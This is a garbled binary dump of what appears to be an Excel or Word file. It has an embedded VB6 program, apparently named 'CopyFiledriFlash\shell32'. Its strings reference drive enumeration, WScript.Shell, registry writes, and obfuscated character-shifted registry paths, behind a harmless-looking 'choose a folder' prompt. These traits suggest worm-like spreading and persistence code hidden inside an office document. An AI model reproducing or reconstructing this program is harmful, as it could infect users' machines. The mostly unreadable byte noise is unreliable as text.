$.;IfvDHD8MTd{g~m~TfaUgbK`\]rw}aS?c8
"&K\\|RgrezXmuzJ]fsbqo@PKCTOD]d~'$
(6,.C<Uikt
iyA[hk~Zn
4JZ*:8
!+#*=5@WVObd
Z{e}3Qw;Vl
VY\^dl<BF=FH
+=55JF;PNIar
i|TewA[ob}Tfr
#'ZaiVajdq~!+''805MNZs
lZw(K,Z);K
x*=Ej|
$'-.98?QW7EJ
+-]v@R`q~Xtj)Bj&>m+FdK_te|4LVrBHI
15<jwu<J>JZYRfnPl+E\
*.buzb-Hq+M@Ts0E\
Vm~-7U7A;_eb7=C
4;C_lp
3DP3CJRdv3Ka@Zs
;]w;KXRn
;@D~6O`
/<I\i<qD|evv<Xjbu~DVX,;?
{NhyVn
'F^sl{;QX"-'
'! )!&
4Ro.D[%4D
CHPSmLi;N`
2OlUt
k$M4aKx/Mu
!*+:L}
,H%Ab6^!2G
'?]&Ef*Im
*2-6/=GB
'-1;;/80!&"
CRk1Gi
6BG_lw]gn
@b=cSx>Vw
AJW%(-
"*7;EahrCf Bf-T{?b^~|6AQ1:IfrIOX
AVg(FcSt
QdrH[sGf
g|>Vlatz
+Yesz{py
"*7FQa|bn
zxmv@FP
NZk?[}fvNV`
~`{d|ESf
)7n~T]m
hp}IP[
4/8/2019 4/8/2019
Joe Cage B
""#,##0;""\-#,##0
""#,##0;[Red]""\-#,##0
""#,##0.00;""\-#,##0.00
""#,##0.00;[Red]""\-#,##0.00
_ ""* #,##0_ ;_ ""* \-#,##0_ ;_ ""* "-"_ ;_ @_
_ * #,##0_ ;_ * \-#,##0_ ;_ * "-"_ ;_ @_
_ ""* #,##0.00_ ;_ ""* \-#,##0.00_ ;_ ""* "-"??_ ;_ @_
_ * #,##0.00_ ;_ * \-#,##0.00_ ;_ * "-"??_ ;_ @_
\$#,##0_);\(\$#,##0\)
\$#,##0_);[Red]\(\$#,##0\)
\$#,##0.00_);\(\$#,##0.00\)
\$#,##0.00_);[Red]\(\$#,##0.00\)
#,##0.00_
#,##0_
"Yes";"Yes";"No"
"True";"True";"False"
"On";"On";"Off"
0.00_
0_);[Red]\(0\)
0.00_);\(0.00\)
???
???
???
6ReN!j
hgUSCQ<h
hgUSCQ<h
fJTe,g
fJTe,g
cUSCQ<h
cUSCQ<h
0]hVwQ9
vQN9(u
]KQkSu
]KQkSu
^yv;`{h
gPlQSQS
,{hQu
M&d2?'
M&d2?(
M&d2?)
M&d2?M
jZ?\.?
Microsoft Excel
!Print_Titles
Microsoft Office Excel 2003
Excel.Sheet.8
4/17/2019 4/17/2019 PK
[Content_Types].xml
l"%33V
=^i7+-
&0A6l4
dsXgL`
tt4Q+"wa|T\y,N
_rels/.rels
i")c$qU~31jH[{
?6!Y_o
word/_rels/document.xml.rels
E}-;}PBlJ!
`[^^ljNKD8R1d:
4e>K/4V
m^urw2N
:>S!?p8JX
0KDEVKc2P,
word/document.xml\r6
Te9$@v
:lZwN., $.
L<E,`@
evh.S5Y
n/UX:9`<R
Qp`_4uK@&
d4tjK8*
Eq@#CDGs,W;`lIgx2=
pK}m$g)Q
)5 8XqIEOvL6?
lZm>'Z}bp$V
hS[[+F={n:O|f}
r,0`%Rp
T]%U-%#+<
g99V[H"
8_aI7FA
naa9"3
O|$CO 1
+]S pK{%
H=+dBtq
l8]xbDM5
Nv&@o2
R8Vnsl
z_s=5W
%f-@Lc,
YI-%>|A=
R ^O/n`2P
}d$/x&$
;&cb4;B-d[B]2
/|)Y^6
G0??]U
~Q3QP%J
]n8].Hi,iob
word/theme/theme1.xmlYM
c7c;i&%GyFQ
Yl`)YZJ4WN
KtR7,BVYT
w/FDloa0
"6q1h,)
z^[`5P^77]/
~8W1@y
@yoV}i
(&8l+^
c o^sp_N?>}
L#_S^?
SJzYt=
[CrGjZ
!B DlnA
`5w12}
D8'c'8=Sd{.
xkw[Hn
tto/+V
; dykZ<J
(V|)i$Fs
d6In!,
\o0Sn_d3-k3iL
zY(6i4["
'ri [xA
Q /wb}KpV3I
C2!f^EqM
[lE!pqbUyIGb>+(
;5V+7X
8zC<C7/}KR\/
UjT}6*
word/settings.xmlVn8
}_`:dII:D
vQ@IM
{d"/&W&|
RV-m:j
0C$}_B(!|K^
?8HwP_
[v@je)
eB8/O!*
N%"kI#UW
L!CcKaiNeS
_5S0&Xhp
N6eE,vx%N-
DjaSi!
l8_MW7M@/M^
word/fontTable.xml
h@Qd[T
W^zP41J
_vpAmV
-QBpbg
2D9!28
2GouMY
QnQpTaP
"o2?),*"q49"qNklL,'e$r
$J#&3(
.!/>iL
word/webSettings.xmln0
6jVj>LZcy
-{ 'eF3
8Yc25,S+
0LDG+Hk5
nE}5'`t
*ib#3ir]
G?tMmm
1z}:~;
docProps/app.xml
d*57|bUL68
dPRuhs
kB`sGA6(
@4PL)<
X `-=\D
w(Pi}D\Ic
QdH{=,J
laZ)Cu:/-
#>xeNfa5/_d`GQlhL
docProps/core.xml
JQ0is;#;DS
v0RAi?
SPPFOqJO,
Q1BO24v
E+=:/=S/:b(C
%)$,N*
word/styles.xml]s
(Y02~6zO
<e{>8WyJ2
b.Y)fBew<j0yE?JyVq
&Xe==<Y*EO:5/e"[c&
ea^wyye\,SVBZhT*4<+H(
l'Yzg~L
8o4lws
A{6>_U
lY7wP6-S9
I3B$g?
lvXUdb{,/1_
VID[33D
Y %6",
Pwq<nDs<fCs<^Bs<VAs<N@s<
0;{sVtm]6WT
C|hyK%G,I4
%{ c,!n
dPXwh?/I
ANYUSl|*me E%%'b}b5<7
,fxbhFD
Q54v'U54vkhD
Tf[|p=!cz
0|iL;-
z75rR|Z
5VG%5HZJ
/Kq0JIxBGk}+I/
g/Dg{N=da`I*!"e
y<|"??
zz0dpOv
W@&TJ--|
lY?raaTJX
p`Tt'Q3
I7d%O*g
Thom3{v'9
WN/Lx9'
okxXtw1{;#W
x<K[-OD*
8>l{VJb+g$,xwf
gVd>#tu|']h
ZlWGZGu^e<
N?qW~D_A
uSVs(o
V0>dj*
6*DZ?j
"F\f?zz
"fR(Er-
}#aWw#AwH<
) tuGp'tuKj8+W=?~
QRCTp`J
`!Kj%5Ja'
Pzz1xa(~T
Wj\)5.[
g?!Hj\)5.[
'd/&\j\)5.[K
Wj\)5.[
%7<0A\
I?dMM'm
/tYqIoA]?c
Y4yG$mT
xj~ij>~
eQe}tg
[Content_Types].xmlPK
_rels/.relsPK
word/_rels/document.xml.relsPK
word/document.xmlPK
word/theme/theme1.xmlPK
word/settings.xmlPK
word/fontTable.xmlPK
word/webSettings.xmlPK
docProps/app.xmlPK
docProps/core.xmlPK
@ @ @ @ @ @ @ @
@ @ @ @ @ @ @
@ @ @ @ @ @ @ @
@ @ @ @ @ @ @ @
@ @ @ @ @ @ @ @
@ @ @ @ @ @ @ @ @
A * \ A E : \ P o e n y a K o e \ C o p y F i l e d r i F l a s h \ s h e l l 3 2 \ P r o j S h e l l 3 2 . v b p
H e y t h i s i s a s a m p l e ,
p l e a s e c h o o s e a f o l d e r a n d c l i c k O K !
N a m e :
T y p e :
L a s t M o d i f i e d :
P a r e n t :
s c r i p t i n g . f i l e s y s t e m o b j e c t
g e t s p e c i a l f o l d e r
O T i f V T a ! X k X
4 I F 6 4 A
O [ b f g f ! X k X
i d l e l P ; o n
{ - : y - : s - :
x - Z n { n t r
d V [ Q \ d `
G e t F o l d e r
G e t E x t e n s i o n N a m e
S u b f o l d e r s
d r i v e s
d r i v e t y p e
R ] R [ l X
u r y y i | } r { J | } r {
u r y y i | } r { i P | z z n { q J
u r y y i | } r { i Q r s n
u r y y i r
u r y y i r
r i P | z z n { q J
v | { J \ } r { - s | y q r
- s v y r
V p | { J 2 `
r z _ | |
r z @ ? i ` U R Y Y @ ? ; q y y 9 D
W s c r i p t . S h e l l
U X R f l Y \ P N Y l Z N P U V [ R i ` \ S a d N _ R i Z v p
i d v { q |
_ R T - Q R Y R a R - U X Y Z i ` f ` a R Z i P
| y i ` n s r O | |
U X R f l P b _ _ R [ a l b ` R _ i ` | s
i d v { q |
n { p r q i U v q r S v y r R
U X R f l P b _ _ R [ a l b ` R _ i ` | s
i d v { q |
n { p r q i `
U v q q r {
G [ \ S V Y R
a N ` X X V Y Y - : S - : V Z - R e ] Y \ _ R _ ; R e R
U X R f l P b _ _ R [ a l b ` R _ i ` | s
i d v { q |
n { p r q i ` u |
U v q q r {
U X R f l Y \ P N Y l Z N P U V [ R i ` \ S a d N _ R i Z v p
i d v { q |
n { p r q i S | y q r
i U v q r S v y r R
i Q r s n
r \ o w r p
; ` u r y y / 6
U X R f l Y \ P N Y l Z N P U V [ R i ` \ S a d N _ R i Z v p
i d v { q |
n { p r q i S | y q r
i U v q r S v y r R
i b { p u r p x r q c n y
E 8 : R 7 J B E 7
r e g w r i t e
i d l e l P ;
r - / U X R f l Y \ P N Y l Z N P U V [ R i ` \ S a d N _ R i Z v p
i d v { q |
v | { i } | y v p v r
/ 9 / d l e l P ; o n
/ 9 / _ R T l ` g /
M r p u | - | s s
v - P G i
| - [ \ S V Y R
- d l e l P ;
` U b a Q \ d [ - : s - :
- : p - / <